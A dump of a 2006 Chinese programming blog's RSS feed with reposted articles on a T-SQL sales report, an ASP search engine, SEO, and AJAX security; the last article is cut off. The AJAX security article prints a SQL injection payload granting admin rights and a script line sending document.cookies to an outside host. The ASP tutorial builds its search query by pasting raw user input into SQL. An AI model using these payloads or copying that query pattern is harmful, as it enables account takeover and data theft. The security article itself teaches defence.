CAST(CAST((MONTH(@dtEndDate) + 1) <br /><br />AS VARCHAR(2)) + '/01/' + CAST(YEAR(@dtEndDate) AS VARCHAR(4)) + ' <br /><br />23:59:59' AS DATETIME))<br /><br />SET @dtStartDate = DATEADD(MM, -1 * 12, @dtEndDate)<br /><br />SELECT CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +<br /><br />CASE <br /><br />WHEN MONTH(o.OrderDate) &lt; 10 <br /><br />THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />END AS sMonth,<br /><br />c.CustomerID,<br /><br />c.CompanyName,<br /><br />c.ContactName,<br /><br />SUM(od.Quantity * od.UnitPrice) AS mSales<br /><br />FROM Customers c<br /><br />INNER JOIN Orders o ON c.CustomerID = o.CustomerID<br /><br />INNER JOIN [Order Details] od ON o.OrderID = od.OrderID<br /><br />WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate<br /><br />GROUP BY<br /><br />CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +<br /><br />CASE <br /><br />WHEN MONTH(o.OrderDate) &lt; 10 <br /><br />THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />END,<br /><br />c.CustomerID,<br /><br />c.CompanyName,<br /><br />c.ContactName<br /><br />ORDER BY<br /><br />c.CompanyName,<br /><br />sMonth<br /><br /><br /><br /><br /><br /><br /><br />___________________________________________________________________________<br /><br />Figure 3 Cartesian Product at Work<br /><br />DECLARE @tblMonths TABLE (sMonth VARCHAR(7))<br /><br />DECLARE @tblCustomers TABLE ( CustomerID CHAR(10),<br /><br />CompanyName VARCHAR(50),<br /><br />ContactName VARCHAR(50))<br /><br />DECLARE @tblFinal TABLE ( sMonth VARCHAR(7), <br /><br />CustomerID CHAR(10),<br /><br />CompanyName VARCHAR(50),<br /><br />ContactName VARCHAR(50),<br /><br />mSales MONEY)<br /><br />DECLARE @dtStartDate DATETIME, <br /><br />@dtEndDate DATETIME,<br /><br />@dtDate DATETIME,<br /><br />@i INTEGER<br /><br />SET @dtEndDate = '5/5/1997'<br /><br />SET @dtEndDate = DATEADD(DD, -1, CAST(CAST((MONTH(@dtEndDate) + 1) AS <br /><br />VARCHAR(2)) + '/01/' + CAST(YEAR(@dtEndDate) AS VARCHAR(4)) + ' <br /><br />23:59:59' AS DATETIME))<br /><br />SET @dtStartDate = DATEADD(MM, -1 * 12, @dtEndDate)<br /><br />— Get all months into the first table<br /><br />SET @i = 0<br /><br />WHILE (@i &lt; 12)<br /><br />BEGIN<br /><br />SET @dtDate = DATEADD(mm, -1 * @i, @dtEndDate)<br /><br />INSERT INTO @tblMonths SELECT CAST(YEAR(@dtDate) AS VARCHAR(4)) + '-' +<br /><br />CASE <br /><br />WHEN MONTH(@dtDate) &lt; 10 <br /><br />THEN '0' + CAST(MONTH(@dtDate) AS VARCHAR(2))<br /><br />ELSE CAST(MONTH(@dtDate) AS VARCHAR(2))<br /><br />END AS sMonth<br /><br />SET @i = @i + 1<br /><br />END<br /><br />— Get all clients who had sales during that period into the "y" table<br /><br />INSERT INTO @tblCustomers<br /><br />SELECT DISTINCT<br /><br />c.CustomerID,<br /><br />c.CompanyName,<br /><br />c.ContactName<br /><br />FROM Customers c<br /><br />INNER JOIN Orders o ON c.CustomerID = o.CustomerID<br /><br />WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate<br /><br />INSERT INTO @tblFinal<br /><br />SELECT m.sMonth,<br /><br />c.CustomerID,<br /><br />c.CompanyName,<br /><br />c.ContactName,<br /><br />0<br /><br />FROM @tblMonths m CROSS JOIN @tblCustomers c<br /><br /><br /><br />UPDATE @tblFinal SET <br /><br />mSales = mydata.mSales<br /><br />FROM @tblFinal f INNER JOIN <br /><br />(<br /><br />SELECT c.CustomerID,<br /><br />CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +<br /><br />CASE WHEN MONTH(o.OrderDate) &lt; 10 <br /><br />THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />END AS sMonth,<br /><br />SUM(od.Quantity * od.UnitPrice) AS mSales<br /><br />FROM Customers c<br /><br />INNER JOIN Orders o ON c.CustomerID = o.CustomerID<br /><br />INNER JOIN [Order Details] od ON o.OrderID = od.OrderID<br /><br />WHERE o.OrderDate BETWEEN @dtStartDate AND @dtEndDate<br /><br />GROUP BY<br /><br />c.CustomerID,<br /><br />CAST(YEAR(o.OrderDate) AS VARCHAR(4)) + '-' +<br /><br />CASE WHEN MONTH(o.OrderDate) &lt; 10 <br /><br />THEN '0' + CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />ELSE CAST(MONTH(o.OrderDate) AS VARCHAR(2))<br /><br />END<br /><br />) mydata on f.CustomerID = mydata.CustomerID AND f.sMonth = <br /><br />mydata.sMonth <br /><br />SELECT f.sMonth,<br /><br />f.CustomerID,<br /><br />f.CompanyName,<br /><br />f.ContactName,<br /><br />f.mSales<br /><br />FROM @tblFinal f<br /><br />ORDER BY<br /><br />f.CompanyName,<br /><br />f.sMonth<!-- / message --><br /><br />来源：http://www.chinahtml.com<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7157.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-15 10:02 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7157.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>搜索引擎设计</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7153.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Mon, 15 May 2006 01:51:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7153.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7153.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7153.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7153.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7153.html</trackback:ping><description><![CDATA[不知你上网时注意到没有：一些内容丰富的网站，总建有一个内容搜索引擎；一些大型的商业网站或者综合网站，都配有强大的网站搜索引擎，比如搜狐、新浪、雅虎等等。其方便的搜索查询功能至今给人们留下难以磨灭的印象，你只要输入你想浏览资料的关键字（比如：网页），一按“搜索”按钮，关于“网页”的资料列表就呈现在你的眼前；这只是搜索引擎的基本功能 --搜索查询。 <br /><br />　　笔者现在专门负责网上山东（http://www.china-sd.net）中山东搜索版块的建设，利用最常用的开发语言--asp开发搜索引擎的强大功能！下面我就搜索引擎主要组成部分和其中一些功能的实现代码讲解给大家，有什么不足之处请大家给予指出！ <br /><br />　　在这一章节中，我介绍一下搜索引擎的组成部分和主要功能。 <br /><br />　　搜索引擎的组成，大致分为三部分： <br /><br />　　1、界面：这一部分主要是面向客户的，是可以看到的部分，比如您打开search.sina.com.cn事后看到的页面。 <br /><br />　　2、程序：这一部分主要是执行代码，根据客户的搜索要求去执行代码从而获得搜索结果；这些是我们看不到的。 <br /><br />　　3、数据库：所有的搜索引擎都离不开数据库，连著名的google.com也不例外；数据库是储存搜索资料的仓库，储存的越多，搜索得到的资料就会越多，这也是搜索引擎是否强大的闪耀点之一。 <br /><br />　　　那么搜索引擎是否强大还有其他的闪耀点喽，是什么呢？对，搜索引擎数据库中的存储资料再多，我们不能够方便的去查找搜索，甚至查找不到所需的资料，那么这个数据库就是“死”的，毫无用处可言，所以程序代码起到非常重要的作用。 <br /><br />　　　讲到这里，我应该给大家介绍一下搜索引擎的几个主要功能： <br /><br />　　　1、搜索查询：毫无疑问这是最基本的功能了，根据关键字找到符合关键字的相关资料。 <br /><br />　　　2、分页显示：如果你搜索到的资料非常多，都放在一个页面里，那样给人的感觉就会使乱糟糟的一片；分页显示根据人们看书的习惯，将一部分内容放到第一页，其他的内容放到第二页、第三页等等。 <br /><br />　　　3、搜索统计：一般包括查询资料的数量，分几个页面，每个页面含几个资料，当前页面资料范围等等。 <br /><br />　　　4、搜索结果编排：搜索排名我想大家不会陌生，这些是综合网站搜索引擎挣money的一项措施，这也是强大搜索引擎中不可缺少的功能；比如根据点击量排名，根据收费排名、根据等级排名。 <br /><br />　　　5、多个关键字查询：“如果要查找包含多个关键词的信息，可以用空格把关键词隔开”这是新浪搜索引擎版面中的一段文字，在一个文本框中打上多个关键字搜索查询资料。 <br /><br />　　　6、整体统计：这个是对搜索引擎开通至今一些数据统计，包含“热门查询关键字”统计、数据库中资料整体统计、每个类别所含资料统计等等。 <br /><br />　　　以上功能代码主要根据笔者的要求来书写，大家可以在我写的代码上做修改，以成为你自己需要的功能代码。 <br /><br />　　好了，经过了一节的热身后，我们也可以进入实战阶段，首先，我们先建一个数据库，作为资料的存储，这里我将数据库的文件名为information.mdb，使用access创建数据库，当然你也可以使用sqlserver创建。 <br /><br />　　建立四个表：www(存储资料),sort(大类)，samll(小类),key(查询关键字) <br /><br />　　 　1、www表：id---自动编号，sitename---站点名称，url---站点链接，faq---简要说明，key---关键字，time---添加时间,level---站点等级，sortid---大类id，smallid---小类id，hot---站点点击次数。 <br /><br />　　　　2、sort表：id---自动编号,sort <br /><br />　　　　3、small表：id---自动编号,small <br /><br />　　　　4、key表：keyname---关键字；keyhot---出现的次数 <br /><br />　　　　用asp建立与数据库的连接：conn.asp <br /><br />　　 <br /><br />　　说明：使用Server.MapPath（）表示的路径为文件的相对路径，我这里conn.asp和information.mdb在同一个目录下。我想这些都很简单，大家很容易理解和接受的！好，将数据库建立起来后，我们就可以建设强大功能的搜索引擎。请期待哦！嘻嘻~~~~ <br /><br />　　用asp制作强大的搜索引擎 -- 模糊搜索 <br /><br />　　根据一个关键字，搜索到相关的资料，这里的“相关”是指资料中有类似这个关键字的字符串。例如：“山东”这个关键字，只要数据库中资料里包含“山东”这个关键字的都要把它们找出来。模糊搜索的应用其实很简单，只要使用一个sql语句就可以实现，下面咱们看看他的语句的写法。 <br /><br />　　sql语法中你会发现这么几个判定词：LIKE、NOT LIKE和 BETWEEN。 LIKE判定词是一个非常有用的符号。不过，在很多情况下用了它可能会带给你太多的数据，所以在用到它之前最好先开动脑筋多想想自己到底想获得什么数据。NOT LIKE是反其道而行了。BETWEEN假设你想取出一定范围内的数据，而且你事先知道范围的起点和终点，那么你不妨采用BETWEEN 判断词。这几个判定词根据不同的环境使用，一般最常用的就是like和"%"结合了。 <br /><br />　　dim sql,key <br /><br />　　key=request("key") <br /><br />　　sql="select * from www where sitename like '%"&amp;key&amp;"%' or faq like '%"&amp;key&amp;"%' or key like '%"&amp;key&amp;"%' " <br /><br />　　说明：这里的sql语句目的就是检索数据库中sitename字段中是否包含key，faq字段中是否包含key，key字段中是否包含key，这样做的目的是让搜索的范围包含到“站点名称”、“站点简要说明”、“站点关键字”。如果你只想搜索关键字只要使用 sql="select * from www where key like '%"&amp;key&amp;"%' " 就可以了。“like”中都使用了“or”来相连，“or” “或者”的意思，意思是不论哪一个like 符合条件，都要把搜索到的资料输出显示出来。 <br /><br />　　OK，现在大可不必去看看能不能执行或者说执行的结果如何，因为搜索引擎大部分功能的实现都是靠sql语句的书写了。等我把其他的相关sql语句的功能实现介绍完后，大家再看看效果，呵呵！别着急！！ <br /><font color="#002c99">来源：http://edu.chinaz.com</font><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7153.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-15 09:51 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7153.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是搜索引擎优化？</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/13/7062.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Sat, 13 May 2006 04:58:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/13/7062.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7062.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/13/7062.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7062.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7062.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td class="gray">【摘要】：搜索引擎优化（Search Engine Optimization, 简称SEO），与搜索引擎定位（Search Engine Positioning)和搜索引擎排名(Search Engine Ranking)是同一种工作，指通过了解各类搜索引擎如何抓取互联网页面，如何进行索引以及如何确定其对某一特定关键词的搜索结果排名等技术，来对网页进行相关的优化，使其提高搜索引擎排名，从而提高网站访问量，最终提升网站的销售能力或宣传能力的技术。</td>
						</tr>
				</tbody>
		</table>
		<p>搜索是除了电子邮件以外被用得最多的网络行为方式。通过搜索引擎查找是网络冲浪者寻找网上信息和资源的主要手段。搜索引擎营销已经成为网络营销最重要的组成部分。如何使自己的网站被主要的搜索引擎收录、然后获得较高的排名，成为网站建设者们绞尽脑汁的话题。</p>
		<p>要想达到目的，你就得学会搜索引擎优化！为此，你需要了解下面几个方面的知识：</p>
		<p>1)了解搜索引擎如何抓取网页和如何索引网页。<br />你需要知道一些搜索引擎的基本工作原理，各个搜索引擎之间的区别，搜索机器人（SE robot或叫web crawler）如何进行工作，搜索引擎如何对搜索结果进行排序等等。</p>
		<p>2)Meta标签优化。<br />主要包括主题（Title)，网站描述(Description)，和关键词（Keywords）。还有一些其它的隐藏文字比如Author（作者），Category（目录），Language（编码语种）等。</p>
		<p>3)如何选取关键词并在网页中放置关键词。<br />搜索就得用关键词。关键词分析和选择是SEO最重要的工作之一。首先要给网站确定主关键词（一般在5个上下），然后针对这些关键词进行优化，包括关键词密度（Density），相关度（Relavancy），突出性（Prominency）等等。</p>
		<p>4)了解主要的搜索引擎。<br />虽然搜索引擎有成千上万，但是对网站流量起决定作用的就那么几个。比如英文的主要有Google，Inktomi，Altavista等；中文的有百度，搜狐等。不同的搜索引擎对页面的抓取和索引、排序的规则都不一样。还要了解各搜索门户和搜索引擎之间的关系，比如Yahoo和AOL网页搜索用的是Google的搜索技术，MSN用的是Looksmart和Open Directory的技术。</p>
		<p>5)主要的互联网目录。<br />Yahoo自身不是搜索引擎，而是一个大型的网站目录，Open Directory也不是，他们和搜索引擎的主要区别是网站内容的收集方式不同。目录是人工编辑的，主要收录网站主页；搜索引擎是自动收集的，除了主页外还抓取大量的内容页面。</p>
		<p>6)按点击付费的搜索引擎。<br />搜索引擎也需要赢利，随着互联网商务的越来越成熟，收费的搜索引擎也开始大行其道。最典型的有Overture和百度，当然也包括Google的广告项目Google Adwords。越来越多的人通过搜索引擎的点击广告来定位商业网站，这里面也大有优化和排名的学问，你得学会用最少的广告投入获得最多的点击。</p>
		<p>7)搜索引擎登录。<br />网站做完了以后，别躺在那里等着客人从天而降。要让别人找到你，最简单的办法就是将网站提交（submit）到搜索引擎。虽然免费已经不再是互联网（至少是搜索引擎）的主流－如果你的是商业网站，主要的搜索引擎和目录都会要求你付费来获得收录（比如Yahoo要299美元），但是好消息是（至少到目前为止）最大的搜索引擎Google目前还是免费，而且它主宰着60％以上的搜索市场。</p>
		<p>8)链接交换和链接广泛度（Link Popularity）。<br />网页内容都是以超文本（Hypertext）的方式来互相链接的，网站之间也是如此。除了搜索引擎以外，人们也每天通过不同网站之间的链接来Surfing（“冲浪”）。其它网站到你的网站的链接越多，你也就会获得更多的访问量。更重要的是，你的网站的外部链接数越多，会被搜索引擎认为它的重要性越大，从而给你更高的排名。所以，你得花很多精力去做和别人做交换链接。<br /></p>
<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-13 12:58 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/13/7062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谈AJAX的安全性及AJAX安全隐患</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:32:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7032.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7032.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7032.html</trackback:ping><description><![CDATA[Web开发者不会注意到由 “AJAX（Asynchronous JavaScript And XML）”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样基于Web的应用程序，这在很大程度上要归功于这种技术。然而，伴随着AJAX应用程序的发展，我们发现了它的一些不足之处，我们发现它的安全漏洞也在逐渐变大，就像慢慢地把基于AJAX的站点放入了一颗定时炸弹中。<br /><br /><br />AJAX的好处<br /><br />在当年“Web应用程序”的美好时代，事情非常简单。你填写了一个表单，点击“提交”按钮，然后当前屏幕就消失了，等待一小会儿后你就转入到了下一个页面。今天的状况已经不是这样的了，用户需要的是一种就像任何桌面应用程序那样流畅、快捷和人性化的Web体验。<br /><br />AJAX经常是和DHTML（Dynamic HTML）一起协作的，它的顺利执行需要允许网页中的JavaScript代码和web服务器在后台无缝通讯。比方说，当你开始在Google Suggest的搜索框中输入东西时，web页面就和服务器在后台开始交换数据，然后会给出一些你可能需要的词条等。所有的这一切都不需要页面刷新或者按下任何按钮。同样这也就是像Gmail那样的应用程序怎么能对实时拼写检查做的那么好的原因。<br /><br />AJAX怎样工作<br /><br />AJAX复杂的原理已经超出了今天所要阐述的范围，这里只简单描述一下。你的页面上的JavaScript代码能够在不依赖于用户的情况下和你的Web服务器取得联系。这里面起核心作用的就是JavaScript的XMLHttpRequest对象，这个对象能够被就像用户敲击键盘或者时钟事件在后台或者异步触发（也就是术语异步JavaScript和XML）。<br /><br />如果你在Google Suggest中输入“ajax”后，就会得到像我输入后得到的服务器请求一样：<br />1. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=aj <br />2. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=aja <br />3. www.google.com/complete/search?hl=en&amp;js=true&amp;qu=ajax <br /><br />在这个术语中的XML部分有一点会引起人们的误解，其实这一部分是没有任何意义的。它是从JavaScript对象得来的名字，同时许多AJAX风格的应用程序使用了XML，这个对象能够就任何事务向服务器发出一个请求。甚至JavaScript代码本身也能够被取回和评估。继续完成我的输入“ajax example”，将会从Google的服务器产生下面的回应：<br />sendRPCDone(frameElement, "ajax example", new Array("ajax example", "ajax examples"), new Array("153,000 results", "177,000 results"), new Array(""));<br /><br />这将会给你一些关于强大的AJAX的暗示吧，它具有在运行中（on the fly）把新的JavaScript代码加入到浏览器中的能力。然而，最优化的方法看起来好像束缚了XML协定。举个例子说明一下，比如Google产生了下面的这个东西：<br />    ajax example <br />    153,000 <br />    ajax examples <br />    177,000<br /><br />显然，你可以在一个合适的表单中解释这些XML数据，但我们要感谢JavaScript，它确实能够在一些非常典型的限制条件下和大量讨厌的IE bug环境里非常好的处理XML对象。<br /><br />为了帮助你理解一些Ajax的问题，我在这里给你介绍一个假想的旅行公司－“时代尖端旅行公司”。由于受到AJAX bug的推动，他们的主要web开发者Max Uptime为了创建一个这样的应用程序，他决定混合使用AJAX，这样，他走在时代尖端了。<br /><br />AJAX的问题<br /><br />半数以上的AJAX安全风险来自隐含在服务器中的漏洞。显然，使用安全编码技术的好的设计，对于更安全的AJAX大有帮助，我们需要感谢Max熟悉开放万维网应用安全计划（the Open Web Application Security Project - OWASP）排名前十的最严重web应用程序安全漏洞列表（www.owasp.org）。不幸的是，当Max实现AJAX的时候，他仍然需要面对许多额外的因素：<br /><br />1.新的技术：如果Max想把他的站点连接到一个SQL数据库，他在Google查到了数百万的例子。AJAX技术，不管这种技术有多年轻，它仍然是出现在采购循环中相对较早的，尽管它只有很少一部分好的例子出现在网络上。为了解决一些难处理的和不必要的复杂问题，这就要求像Max那样的开发者去自主开发。Max也就不得不编写服务器端和客户端的代码，创建他自己不太确定的协议（特别是对服务器响应来讲）。不管这些协议有多好，都将会及时表现在页面上。<br /><br />2.非传统方式的设计：AJAX有一点点不同于传统设计方式，因为这样的应用程序是半客户端半服务端的。在Max的例子里，他是唯一的开发者，所以他为服务端和客户端都能够进行编码。在同一时间使用两种不同的语言（特别是在早期阶段）进行开发将会产生一些初级的编码错误，因为他要在两端来回跳跃，对一端来讲非常好，但可能在另一端不能够胜任。即使Max有一个大的开发团队，安全编码责任也可能在服务端和客户端开发小组之间代码移交的时候发生问题。<br /><br />3.太多的脚本语言：Max凭借他自己的聪明才智决定建立世界上最优秀的旅行登记工具。你从输入你现在的位置（通过邮政编码、电话区号或者GPS等等）开始登记，这时候一个AJAX请求就会被立即发送来确定你确切的位置。从那时候开始，屏幕上就会填入你所有可以利用的旅行方式，这一切甚至都是在你决定你想要去什么地方、你打算什么时候动身和你打算和谁一同去之前就完成的。<br /><br />这个屏幕上的单元格和控件都充满了AJAX驱动，服务器端和客户端的脚本可能需要超过20个不同的服务器调用。你可以想像一个很小的个体服务器程序，比如findairportsbylocation.aspx 或者 determinemaxbaggageallowancebyairline.php.<br /><br />显而易见，如果没有Max的仔细计划（比如创建多功能的“重载”JavaScript函数和服务器脚本），每一次设计他都需要创建超过40个独立的部分。更多的编程意味着会产生更多的错误和bug，意味着需要更多的时间去编写、管理、测试和更新代码。不仅如此，因为在客户端的JavaScript代码中应用了大量的这种脚本，他们在正式的程序测试中也容易变得很健忘。<br /><br />4.确定小部分的AJAX不会引起危害：这个站点是一个计划出行的站点，但是Max考虑的是它将立刻为你提供一个显示精确位置的卫星视图，并且把你所要到达目的地的天气情况也提供给你。AJAX最大的诱惑之一看起来好像是直到最后一刻它还在进行其它的操作，就像一个讲解员在那里解说一样，为了AJAX使用了AJAX。当Max开始尝试他的新想法时，他会逐渐尝试增加更多新的功能，完全忽视测试的需要。<br /><br />5.不安全的通讯：每一个AJAX调用可能只回传很少数量的数据给客户端，但那些数据是私有的、保密的。Max可以编写一个便利的工具来对你的信用卡号码进行数字校验，但是如果使用纯文本代替over SSL进行发送数据会怎样呢？这是一个显而易见的问题，但是当有许多例行程序需要考虑，特别是屏幕上其它99％的数据不是真正的机密数据时，很容易就会忽视掉SSL的。<br /><br />6.服务器端访问控制：使用JavaScript程序来触发AJAX经常会掩饰一些显而易见的编码错误，服务器端访问控制就是一个例子。假设Max想参考你上次游览的一个详细目的地来为你提供你中意的旅馆，他可能会是像下面这样：<br />showprevioushotels.aspx?userid=12345&amp;destination=UK <br /><br />这当然是非常好的，但是如果一个恶意用户把URL改成了如下所示该怎么办呢：<br />    showprevioushotels.aspx?userid=12346&amp;destination=% <br /><br />他们会得到其他人最喜爱的旅馆吗？（注意：％在SQL语句中是通配符）。无疑，这是一个没有什么危害的例子，但是Max应该使用session、cookie或者其它符号形式来确保数据能并且只能发送到正确的用户那里。它们可能仅仅是数据的一小部分，但它们可能就是最重要的一小部分。<br /><br />7.服务器端验证：实际上这里有两个问题。第一，AJAX控制经常被用来在用户最后提交到服务器之前的输入验证。这麻痹了Max，使Max有一种虚假的安全感，原因是他建立了称作alloweddestinations.php的函数，根据用户的ID来决定他们能够到达的正确目的地。<br /><br />因为这是一个服务器端的检查，当这个页面最后被提交的时候他不必再次为在服务器上做检查而烦恼，这里我们假定不会有恶意的用户暗中破坏从alloweddestinations.php的响应或者破坏对服务器最后的请求。<br /><br />AJAX控制可以比用户自己更仔细验证用户的输入，但是他们还是经常在服务器上最后做一次验证。<br /><br />AJAX验证的第二个问题就是控制本身会受到验证漏洞的影响。这里再次强调一下，URL通常是隐藏着的，所以也会经常忘掉它。举例说明一下，也许我可以使用SQL Injection来对刚才的脚本进行攻击，如下所示：<br />    showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;-- <br /><br />就会让我登录后具有系统管理员的权限。当然，如何取得那些表名（table）和字段名已经超出了本文讨论的范围，但是你已经了解这种情况了，不是吗？<br /><br />8.客户端验证：我们已经知道在刚才的Google Suggest例子中，通过简单评测服务端的响应后动态创建和执行JavaScript函数是可行的。如果没有任何形式的验证（如果这样的话在客户端很难保证可靠性和流畅性），客户端将仅仅简单执行服务器需要它完成的事情。<br /><br />这样的话，由于真正的代码怎么执行的对于一个普通用户来讲是永远看不到的（也就是说你不能够“查看源文件”），于是潜在地为恶意的黑客们打开了一个完全的攻击导向。如果服务器的响应持续不断地被捣乱（这种破坏行为可能是在Web服务器本身也可能是在数据传输过程中），这种攻击将很难被发现。<br /><br />Max使用下面的响应在目的地网页上更新天气图标，他是用的函数是eval();函数：<br />    updateWeatherIcon('cloudy.gif');<br /><br />然而，恶意的cracker能够把这个函数变成下面的形式，这样要发现这种攻击就更加困难了：<br />    updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies);     updateWeatherIcon('cloudy.gif');<br /><br />我们现在能够在我们自己的服务器上跟踪每一个用户的session ID/cookie。<br /><br />小结<br /><br />毫无疑问，AJAX和AJAX-style技术都是通向web设计的光明大道。开发者可以在web上创造出以前从所未有的真正的“应用程序”，使用AJAX必须小心谨慎，这样才能够保证web站点的安全。<br /><br />然而，最大的威胁之一，来自日益复杂的使用AJAX的客户端脚本和服务器端脚本。这些脚本被技术手段隐藏在了视线之外，使测试很不直观；同时，这种新技术看起来也使web开发者忘掉了基本的好的编码方式。就像访问控制和输入校验这样的问题也不会消失，它们变得更多更复杂了。<br /><br />5个最重要的AJAX安全提示：<br /><br />为了取得成功，你必须从好的计划开始。必须集中你的才智减少和简化AJAX调用，创建一个标准的响应格式，在任何地方都要遵循这个协定（理想的XML）。<br /><br />遵循来自像开放万维网应用安全计划那样的站点的最优方法。这里面特别包含了访问控制和输入校验漏洞检查，同时确保敏感信息使用over SSL胜过使用普通文本。<br /><br />永远不要假设服务器端AJAX对于访问控制或者用户输入校验检查能够代替在服务器上的最终再检查。增加AJAX控制永远不会减少你的验证工作量，它们只能增加你的工作量。<br /><br />永远不要假设客户端的混淆技术（obfuscation，在这里指使JavaScript难于阅读和解码）能够保护你非常重要的商业秘密。使用JavaScript是隐藏程序设计最没用的一种手段，还能够为你的对手提供好处。<br /><br />最后，你必须非常好的领导你的开发团队。使用AJAX听起来非常引人注目，但是你应该认识到要保留你的开发团队以便开发版本2，当然现在你应该开发非常稳定的版本1。<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7032.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-12 16:32 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7032.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AJAX应用解决一些常见问题</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Fri, 12 May 2006 08:00:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7027.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/12/7027.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7027.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7027.html</trackback:ping><description><![CDATA[不可否认，我是非常看好AJAX技术的。我以为AJAX技术对于互联网，就像HTML对于互联网一样。但同时又要看到，AJAX技术不能完全取代我们常规的WEB开发技术。AJAX技术有它让人眼睛一亮的优点，同时它也有很多弱点。我们作为开发人员，不能因为AJAX技术好，就在WEB开发中全部使用AJAX。<br /><br />　　对了，不能为了AJAX而AJAX，就像钢要用到刀刃上一样，AJAX应该用在能充分发挥它的优点的地方。而大多数的时候，我们还需要和往常一样，使用MVC的实现STRUTS开发框架。<br /><br />　　提到AJAX，不能不提到与它一起被强调的另一个词:用户体验。AJAX丰富了B/S模式的表现层，对于B/S模式的UI来说，它号称没有做不到、只有想不到。这里说来说去，都是一个用户体验的问题。AJAX号称无刷新，其实很多时候，用户需要有刷新才能知道有了页面提交，如在保存数据的时候，所以在这个时候使用AJAX却有害于用户体验的。<br /><br />　　